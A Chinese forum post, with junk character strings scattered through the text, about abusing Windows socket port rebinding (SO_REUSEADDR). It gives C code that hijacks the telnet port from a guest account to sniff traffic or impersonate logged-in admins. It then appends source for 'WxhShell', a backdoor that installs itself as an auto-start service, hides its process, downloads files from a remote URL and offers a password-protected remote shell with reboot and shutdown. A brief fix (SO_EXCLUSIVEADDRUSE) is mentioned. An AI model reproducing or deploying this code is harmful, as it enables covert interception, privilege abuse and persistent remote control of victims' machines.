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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: uG:xd0X+W  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); QPZ|C{Ce  
$%GW~|S\C  
  saddr.sin_family = AF_INET; G&DL)ePu]m  
wF\5 X  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Fx]}<IudA^  
7%7 \2!0J}  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y]YUuJ9a  
PKK18E}{%^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %=G*{mK  
15)y]N={^  
  这意味着什么?意味着可以进行如下的攻击: bAkCk]>5  
]A#K;AW{U  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 +jv&V%IL  
M[}aQWT$v  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^DaP^<V  
%9HL "  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <q<kqy5s-R  
,bU 8S\8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  h+"UK=  
pIbm)-  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &}."sGK  
F-&=N {+  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 muZ6}&4  
!J/fJW>m6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i^I U)\   
(imaL,M-D  
  #include R{0nk   
  #include 4],*y`& g  
  #include W6 y-~  
  #include    'U|Tye i?  
  DWORD WINAPI ClientThread(LPVOID lpParam);   O&vE 5%x  
  int main() R>#BJ^>=  
  { '^# =,+ A  
  WORD wVersionRequested; V!XT=Ou?6  
  DWORD ret; r,FPTf  
  WSADATA wsaData; ='U>P( R-  
  BOOL val; na)-'  
  SOCKADDR_IN saddr; `(Eiu$h6V-  
  SOCKADDR_IN scaddr; {OBV+}#  
  int err; ]Lz:oV^%  
  SOCKET s; 6.(L8.jv  
  SOCKET sc; )B1gX>J\8  
  int caddsize; %+F%C=GqI  
  HANDLE mt; or)v:4PXW  
  DWORD tid;   ^v+3qm@,  
  wVersionRequested = MAKEWORD( 2, 2 ); s/cclFji]  
  err = WSAStartup( wVersionRequested, &wsaData ); =IC cN|  
  if ( err != 0 ) { -,Y[`(q  
  printf("error!WSAStartup failed!\n"); $bd tiD  
  return -1; a|5^4 J \%  
  } Kb icP<  
  saddr.sin_family = AF_INET; ,%!E-gr  
   ,fR/C  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 n5e1k y*9w  
UU;U,q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ab/^z0GT  
  saddr.sin_port = htons(23); t_\;G~O9-M  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *41 2)zEy  
  { 6&qT1nF1  
  printf("error!socket failed!\n"); `rQDX<?  
  return -1; )o[Jxu'  
  }  gK Uci  
  val = TRUE; 5+yT{,(5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 =|Vm69  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) z c4l{+3  
  { 6%Ws>H4@|  
  printf("error!setsockopt failed!\n"); "%[aWb  
  return -1; <^v-y)%N:A  
  } Hp}dm93T  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T^F9A55y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LF?MO1!M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 {S*:pG:+q  
Q}(D^rGP3  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;"T,3JQPn6  
  { wrJ:jTh  
  ret=GetLastError(); <JkmJ/X  
  printf("error!bind failed!\n"); }u9wD08x  
  return -1; 8V f]K}d  
  } fHc/5uYW  
  listen(s,2); [e.@Yx_}  
  while(1) rfwX:R6,g  
  { k'b'Ay(<  
  caddsize = sizeof(scaddr); j7u\.xu9  
  //接受连接请求 hxX-iQya  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 1O@y >cV  
  if(sc!=INVALID_SOCKET) AhauNS^"{R  
  { [/'=M h  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); WPXLN'w+  
  if(mt==NULL) jYJRG<*e  
  { /tqQAvj  
  printf("Thread Creat Failed!\n"); p*l]I *x'<  
  break; Ph Ep3o&"  
  } p+7ZGB  
  } PYPDK*Ie  
  CloseHandle(mt); uu`G<n  
  } oD?c]}3  
  closesocket(s); }bM=)eUfX  
  WSACleanup(); zmdu\:_X9  
  return 0; Hs>|-iDs(  
  }   9 %MHIY5  
  DWORD WINAPI ClientThread(LPVOID lpParam) B(/)mB  
  { ){S/h<4m  
  SOCKET ss = (SOCKET)lpParam; .Km6 (U  
  SOCKET sc; j 5{ "j  
  unsigned char buf[4096]; f;Uf=.#F  
  SOCKADDR_IN saddr; j$Unw  
  long num; 9d8bh4[  
  DWORD val; ;c;5O@R}3  
  DWORD ret; ouO<un  
  //如果是隐藏端口应用的话,可以在此处加一些判断 AC& }8w[>u  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   FXd><#U  
  saddr.sin_family = AF_INET; trAIh}Dj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); KH_~DZU*5  
  saddr.sin_port = htons(23); eT<T[; m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8H<:?D/tH  
  { $EUlh^  
  printf("error!socket failed!\n"); [L4s.l_#  
  return -1; |WMP_sGn  
  } `Ir{ax&H.e  
  val = 100; sPoH12?AL  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *!p#1fE  
  { }2CVA.Qm!  
  ret = GetLastError(); Th%2pwvER  
  return -1; OEwKT7CX  
  } =U)e_q  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 5$;#=WAY  
  {  jcVK4jW  
  ret = GetLastError(); XZ1oV?Z4  
  return -1; | bWvQdN  
  } aW.[3M;?v  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) O77bm,E  
  { ImZ!8#  
  printf("error!socket connect failed!\n"); )e6)~3[^  
  closesocket(sc); fH6mv0  
  closesocket(ss); WY3D.z-</  
  return -1; yWkg4  
  } mO|YX/>  
  while(1) p%?m|(4f  
  { OqNtTk+  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 J=@D]I*3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1GA$nFBVC  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 F9\T <  
  num = recv(ss,buf,4096,0); m.0: R  
  if(num>0) fO'"UI  
  send(sc,buf,num,0); PW)Gd +y  
  else if(num==0) +`D,7"{Eu  
  break; \cKY{(E  
  num = recv(sc,buf,4096,0); R-\a3q  
  if(num>0) "S ~(|G  
  send(ss,buf,num,0); f:_mrzz  
  else if(num==0) !\RBOdw C  
  break; u:[vqlU  
  } 0S}ogU[k  
  closesocket(ss); /rQ[Ik$|  
  closesocket(sc); \ =(r6X  
  return 0 ; zFpM\{`[g  
  } G:k]tZ*`  
b?Zt3#  
M,V~oc5  
========================================================== Fu;\t 0  
7%g8&d  
下边附上一个代码,,WXhSHELL B>=NE.ulUL  
~E J+<[/  
========================================================== We51s^(  
$wq[W,'#L  
#include "stdafx.h" Q#a<T4l  
gZ b +m  
#include <stdio.h> :<w2j 6V  
#include <string.h> LLlt9(^d  
#include <windows.h> ljJi|+^$  
#include <winsock2.h> qY^@^)b[  
#include <winsvc.h> FWu[{X;  
#include <urlmon.h> T|fmO<e*n  
zJ9[),;7B  
#pragma comment (lib, "Ws2_32.lib") :1/K$A)^{  
#pragma comment (lib, "urlmon.lib") kafRuO~$  
d=J$H<  
#define MAX_USER   100 // 最大客户端连接数 C[0*>W8o  
#define BUF_SOCK   200 // sock buffer V% PeZ.Xv  
#define KEY_BUFF   255 // 输入 buffer dd{pF\a  
BXx0Z %e.3  
#define REBOOT     0   // 重启 t!S ja  
#define SHUTDOWN   1   // 关机 9+!1jTGSkf  
w,/&oe5M+  
#define DEF_PORT   5000 // 监听端口 E` O@UW@  
9]E;en NQ  
#define REG_LEN     16   // 注册表键长度 vy&< O  
#define SVC_LEN     80   // NT服务名长度 H,I k&{@j  
czH`a=mjH  
// 从dll定义API rQ+2 -|#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Nd] w I|>  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }/cMG/%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~l SdWUk>  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); O wJZ?j& )  
miCW(mbO8  
// wxhshell配置信息 wE*jN~  
struct WSCFG { ;3 |Z}P  
  int ws_port;         // 监听端口 "B 9aJo  
  char ws_passstr[REG_LEN]; // 口令 _pM~v>~*+  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3\~ RWoB0u  
  char ws_regname[REG_LEN]; // 注册表键名 bU+ z(Eg6  
  char ws_svcname[REG_LEN]; // 服务名 1_Ag:> #X  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 U! xOJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 nS`DI92I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0w24lVR.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E?@batIrf  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" KTzkJx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n:i?4'-}  
XX])B%*  
}; h_{//W[  
PX%Y$`  
// default Wxhshell configuration 4IEF{"c_8  
struct WSCFG wscfg={DEF_PORT, D%k`udz<  
    "xuhuanlingzhe", &N^^[ uG  
    1, COC6H'F  
    "Wxhshell", (w+dB8 )X  
    "Wxhshell", ~ R:=zGDV  
            "WxhShell Service", K;fRDE) {  
    "Wrsky Windows CmdShell Service", 265sNaX  
    "Please Input Your Password: ", 6n}5>GSF  
  1,  <m7T`5+  
  "http://www.wrsky.com/wxhshell.exe", WOgPhJ  
  "Wxhshell.exe" @m bR I0  
    }; 2:>|zmh_  
NE'4atQ|  
// 消息定义模块 B"9/+Yj  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5qx,b&^w  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AnUOv 2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Z\@m_ /g  
char *msg_ws_ext="\n\rExit."; I,pI2  
char *msg_ws_end="\n\rQuit."; r'C(+E (  
char *msg_ws_boot="\n\rReboot..."; |i-d#x8  
char *msg_ws_poff="\n\rShutdown..."; '&<T;V%  
char *msg_ws_down="\n\rSave to "; ! 4ZszQg  
|x[zzx# >-  
char *msg_ws_err="\n\rErr!"; 5m e|dvk  
char *msg_ws_ok="\n\rOK!"; 4jyDM68i  
uBPxMwohR  
char ExeFile[MAX_PATH]; l-GQ AI8  
int nUser = 0; @aX$}  
HANDLE handles[MAX_USER]; @&7|Laa  
int OsIsNt; U <|h4'(@L  
6)QJms  
SERVICE_STATUS       serviceStatus; 'W>Zr}:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iTgv8  
T{VdlgL  
// 函数声明 E(l'\q'.  
int Install(void); ELlTR/NW  
int Uninstall(void); N=`xoF  
int DownloadFile(char *sURL, SOCKET wsh); /J-:?./  
int Boot(int flag); g'F{;Ur  
void HideProc(void); b<N962 q$q  
int GetOsVer(void); H+VKWGmfG  
int Wxhshell(SOCKET wsl); < mb.F-8  
void TalkWithClient(void *cs); G31??L:<  
int CmdShell(SOCKET sock); _ zh>q4M  
int StartFromService(void); .%iJin"  
int StartWxhshell(LPSTR lpCmdLine); ~qk5Mk4$  
~gjREl,+D#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H /kSFf{  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); T==(Pw7R7  
5,pKv  
// 数据结构和表定义 :Ur=}@Dj  
SERVICE_TABLE_ENTRY DispatchTable[] = 6jGPmOM/  
{ U6R"eQUTV  
{wscfg.ws_svcname, NTServiceMain}, vXio /m  
{NULL, NULL} QnWM<6xK"  
}; <`~zKFUQ[  
]B;\?Tim  
// 自我安装 ns{BU->f  
int Install(void) ;T6x$e  
{ j#`d%eQ~J  
  char svExeFile[MAX_PATH]; #DL( %=:  
  HKEY key; oZY2K3J)  
  strcpy(svExeFile,ExeFile); 0^27grU>   
Xg](V.B6  
// 如果是win9x系统,修改注册表设为自启动 RnA>oKc  
if(!OsIsNt) { gx*rxid  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x@@U&.1_A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |] <eJ|\=  
  RegCloseKey(key); J:{$\m'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D`t }V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2!Mwui;%  
  RegCloseKey(key); /Ww_fY  
  return 0; |kUxTe  
    } d]v4`nc  
  } N<xf=a+j  
} /p=9"?  
else { !+E|{Zj  
~}c`r4  
// 如果是NT以上系统,安装为系统服务 2(, `9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); kg>Ymo.  
if (schSCManager!=0) | Q Y_ci  
{ 3M nm2*\  
  SC_HANDLE schService = CreateService \Lz2"JI  
  ( #b~wIOR)Z  
  schSCManager, Llf |fayq  
  wscfg.ws_svcname, (ei;Y~i  
  wscfg.ws_svcdisp, Ew4>+o!  
  SERVICE_ALL_ACCESS, 31w9$H N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , NW.<v /?=,  
  SERVICE_AUTO_START, cR0RJ$[d  
  SERVICE_ERROR_NORMAL, S_z}h  
  svExeFile, UeG$lMV  
  NULL, SX{sh M2  
  NULL, yMQuM :d  
  NULL, H?dmNwkPY  
  NULL, PgKA>50a  
  NULL a:PS}_.  
  ); {\OIowa  
  if (schService!=0) uc% &g  
  { > n~l\ fC  
  CloseServiceHandle(schService); e7{n=M  
  CloseServiceHandle(schSCManager); I 9yN TD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h\ (z!7t*  
  strcat(svExeFile,wscfg.ws_svcname); #xqeCX 4p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6\MJvg\;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Wdt9k.hzN  
  RegCloseKey(key); "d a%@Zy  
  return 0; `ym@ U(;N  
    } 0hKF)b  
  } p< fKj  
  CloseServiceHandle(schSCManager); _)J;PbK~  
} d9zI A6y  
} >uok\sX  
@#T*OH  
return 1; ~~?4w.k  
} k)W8%=R  
00') Ol&  
// 自我卸载 wW3fsXu  
int Uninstall(void) gr'M6&>  
{ C+r<DC3  
  HKEY key; Y",Fs(  
z$3 3NM  
if(!OsIsNt) {  +X i#y}%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { apxZ}  
  RegDeleteValue(key,wscfg.ws_regname); +$MNG   
  RegCloseKey(key); H61 ,pr>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 8oSndfV  
  RegDeleteValue(key,wscfg.ws_regname); tylMJ$ 9*.  
  RegCloseKey(key); x%ZgLvdp,  
  return 0; f-9& n4=H  
  } yZ[H&>  
} ubV|s|J  
} \*}JdEHB  
else { pV:c`1\`  
d}K"dr:W5  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); SRl:+!@.  
if (schSCManager!=0) |-N\?N9"  
{ |x|#n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0`=#1u8  
  if (schService!=0) '`q&UPg]  
  { L\||#w   
  if(DeleteService(schService)!=0) { DLYk#d: q?  
  CloseServiceHandle(schService); 0]l _qxv  
  CloseServiceHandle(schSCManager); =J0X{Ovn4z  
  return 0; )bZS0f-  
  } Y`S9mGR#  
  CloseServiceHandle(schService); +/60$60[z  
  } j2T Z`Z?a^  
  CloseServiceHandle(schSCManager); #vi `2F  
} RVv@x5  
} TIg 3'au  
od{b]HvgS  
return 1; y]5O45E0  
} ;BV1E|j  
j]EeL=H<P  
// 从指定url下载文件 a3i4eGT-  
int DownloadFile(char *sURL, SOCKET wsh) 2R&msdF   
{ } h|1H  
  HRESULT hr; \*x]xc/^  
char seps[]= "/"; _94|^   
char *token; /dpEL9K  
char *file; YEoQIR  
char myURL[MAX_PATH]; xzg81sV7  
char myFILE[MAX_PATH]; 'c 0]8Y 4  
1 dT1DcZ  
strcpy(myURL,sURL); fYF\5/_  
  token=strtok(myURL,seps); z'K&LH  
  while(token!=NULL) MXY[t  
  { d\}r.pD  
    file=token; 0  ;$[  
  token=strtok(NULL,seps); <6`_Xr7)  
  } ?yfk d:WD  
gF;i3OJg  
GetCurrentDirectory(MAX_PATH,myFILE); DVxW2J  
strcat(myFILE, "\\"); (tV/.x*G  
strcat(myFILE, file); g$s"x r`:  
  send(wsh,myFILE,strlen(myFILE),0); 5" <7  
send(wsh,"...",3,0); u1F@VV{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Jg=[!j0(  
  if(hr==S_OK) q"OvuHBSOn  
return 0; z=>U>  
else <A +VS  
return 1; R]e?<,"X  
c%_I|h<?iT  
} $pK2H0c  
:R+}[|FV  
// 系统电源模块 N;e d_!  
int Boot(int flag) t W ;1  
{ M=hxOta  
  HANDLE hToken; H%`Ja('"p  
  TOKEN_PRIVILEGES tkp; ;^nN!KDjR  
He att?(RR  
  if(OsIsNt) { F$P8"q+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]6NpHDip1  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iE$qq ~%  
    tkp.PrivilegeCount = 1; m.ev~Vv~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; a#t:+iw  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MPx%#'Q  
if(flag==REBOOT) { Dbt"}#uit;  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2Z 4Ekq0@  
  return 0; OnE#8*8  
} iB1"aE3  
else { pIBL85Xe  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F)'kN2  
  return 0; .6Tan2[%  
} H^{Eh  
  } ?|LR@M!S7  
  else { 4{JoeIRyz  
if(flag==REBOOT) { :/ ,h)h)|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ehB (?  
  return 0; >ENZ['F  
} XlP q>@4p  
else { R{"Kh2q_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Mz,G;x}  
  return 0; &@CcH_d*  
} (27bNKr  
} ZYr6Wn  
k^ B<t'  
return 1; D+G?:m R  
} $'# hCs  
f& P'Kxj_  
// win9x进程隐藏模块 0Z9>%\km_  
void HideProc(void) ^]}+ s(  
{ *#p}>\Y{  
T.\=R  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;oW#>!HrY  
  if ( hKernel != NULL ) *@`Sx'5!  
  { Fd!Np7xw  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D4nYyj1O3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); qKu/~0a/  
    FreeLibrary(hKernel); JB.f7-  
  } M?mPi 3  
M4[(.8iE  
return; ,@1rP55  
} ZoJ_I >uv  
J:g4ES-/   
// 获取操作系统版本 ?`ETlFtD4  
int GetOsVer(void) ASA ]7qyO  
{ F uYjrzmx  
  OSVERSIONINFO winfo; OolYQU1_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L-Io!msb  
  GetVersionEx(&winfo); c'#w 8 V  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }ZaZPB/_}P  
  return 1; /BEE.`6yI5  
  else -JgN$Sf  
  return 0; [XK^3pT_  
} XdS&s}J[I  
r6_g/7.-  
// 客户端句柄模块 -\=s+n_ZP?  
int Wxhshell(SOCKET wsl) F/33# U  
{ VZhtx)  
  SOCKET wsh; (R^X3  
  struct sockaddr_in client;  !4Q0   
  DWORD myID; kucH=96  
r{oRN  
  while(nUser<MAX_USER) *?Hc8y-dG,  
{ /j%(Z/RM  
  int nSize=sizeof(client); 9R$0[HbI3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); hO8~Rg   
  if(wsh==INVALID_SOCKET) return 1; haNi [|  
2>`m1q:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cg`bbZ  
if(handles[nUser]==0) h"O4r8G}  
  closesocket(wsh); >JOEp0J  
else cX~J6vNy5  
  nUser++; a6Zg~>vX  
  } j _]#Ew\q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r xlKoa  
T,G38  
  return 0; )>-94xx|  
} D1G9^7:^E  
wz[Xay9jW  
// 关闭 socket rnNB!T   
void CloseIt(SOCKET wsh) :{7gZ+*  
{ B Oc2<M/\  
closesocket(wsh); o/dj1a~U  
nUser--; \\U,|}L .  
ExitThread(0); t[=-4;  
} ^&[Z@*A8#  
2g0_[$[m  
// 客户端请求句柄 xlKg0 &D  
void TalkWithClient(void *cs) mCb1^Y  
{ PCqE9B)l  
#/"?.Z;SSH  
  SOCKET wsh=(SOCKET)cs; )h0 3sv  
  char pwd[SVC_LEN]; 85e!)I_  
  char cmd[KEY_BUFF]; {pJf ~  
char chr[1]; |f+`FOliP  
int i,j; /+ yIcE(&3  
58]C``u@Y  
  while (nUser < MAX_USER) { *3R3C+ L  
OV>JmYe1{/  
if(wscfg.ws_passstr) { ;*+wg5|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5EX Ghc'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4CH/~b1 (  
  //ZeroMemory(pwd,KEY_BUFF); .:wo ARW!  
      i=0; W)~}o<a)[  
  while(i<SVC_LEN) { @1c[<3xJ T  
g.,_E4L  
  // 设置超时 q0t}  
  fd_set FdRead; Ea<kc[Q  
  struct timeval TimeOut; q$iGeE#  
  FD_ZERO(&FdRead); tDWoQ&z2t_  
  FD_SET(wsh,&FdRead); FTJvkcc?m  
  TimeOut.tv_sec=8; UI]UxEJ  
  TimeOut.tv_usec=0; ?GT,Y5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b f j]Q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); V'M#."Of/  
*!5X!\e_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B'}pZOa[Wb  
  pwd=chr[0]; n.l7V<1  
  if(chr[0]==0xd || chr[0]==0xa) { G4<M@ET  
  pwd=0; S4O'N x  
  break; fUKi@*^ZUa  
  } oVAY}q|wU  
  i++; :iEIo7B  
    } HSG7jC'_  
wdMVy=SS  
  // 如果是非法用户,关闭 socket ehTRw8"R  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); goje4;  
} gt \O  
wg}rMJoG|  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 96#aG h>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p|0ZP6!|  
)<K3Fz Bs  
while(1) { ; 8B )J<y  
Oj]4jRew  
  ZeroMemory(cmd,KEY_BUFF); ~TfN*0  
 8 ?4/  
      // 自动支持客户端 telnet标准   -Cc2|~n  
  j=0; g3*J3I-O  
  while(j<KEY_BUFF) { Va-.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1e)5D& njS  
  cmd[j]=chr[0]; `:*O8h~i^8  
  if(chr[0]==0xa || chr[0]==0xd) { ?#0m[k&`  
  cmd[j]=0; 0J z|BE3Y  
  break; GOU>j "5}2  
  } 5sZqX.XVF  
  j++; X%R)  
    } U$m[{r2M  
{8e4TD9E0  
  // 下载文件 :pw6#yi8`  
  if(strstr(cmd,"http://")) { /r?EY&9G  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); q /eod  
  if(DownloadFile(cmd,wsh)) tO~o-R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); g^)8a;/c  
  else oR@1/lV  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u"5 hlccH  
  } aB^`3J  
  else { Aa!#=V1d  
.T*89cEu  
    switch(cmd[0]) { j 21>\K!p  
  a0)]W%F  
  // 帮助 u;Rm/.  
  case '?': { ZOzwO6(_  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); / 0ra]}[(  
    break; I4Rd2G_  
  } Wagb|B\  
  // 安装 t2_pwd*B  
  case 'i': { B!AJ*  
    if(Install()) 8;<3Tyjzu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "NvB@>S  
    else G_v^IM#B=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); HLb`'TC3r+  
    break; \H {UJ  
    } @p [ml m  
  // 卸载 tdOox87YK  
  case 'r': { .`~=1 H\R"  
    if(Uninstall()) ?656P=b)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /D,<2>o  
    else Z"N}f ,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jn._4TQ*}  
    break; d Z P;f^^  
    } FB }8  
  // 显示 wxhshell 所在路径 8Y P7'Fz  
  case 'p': { c +N\uG4  
    char svExeFile[MAX_PATH]; !n`Y^  
    strcpy(svExeFile,"\n\r"); >o4Ih^VB  
      strcat(svExeFile,ExeFile); n_eN|m?@  
        send(wsh,svExeFile,strlen(svExeFile),0); ftRzgW);  
    break; s0/y> ok  
    } Q7(I'  
  // 重启 XGSgx  
  case 'b': { vC%Hc/&.}  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "7}e~*bM?`  
    if(Boot(REBOOT)) get$ r5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )~C+nb '6/  
    else { It8s#oq8  
    closesocket(wsh); -`ss7j&b3  
    ExitThread(0); 19*D*dkBR  
    } LNOz.2fr>  
    break; -:|t^RM;FT  
    } I`uOsZBO/  
  // 关机 _5H0<%\  
  case 'd': { UE 1tm  
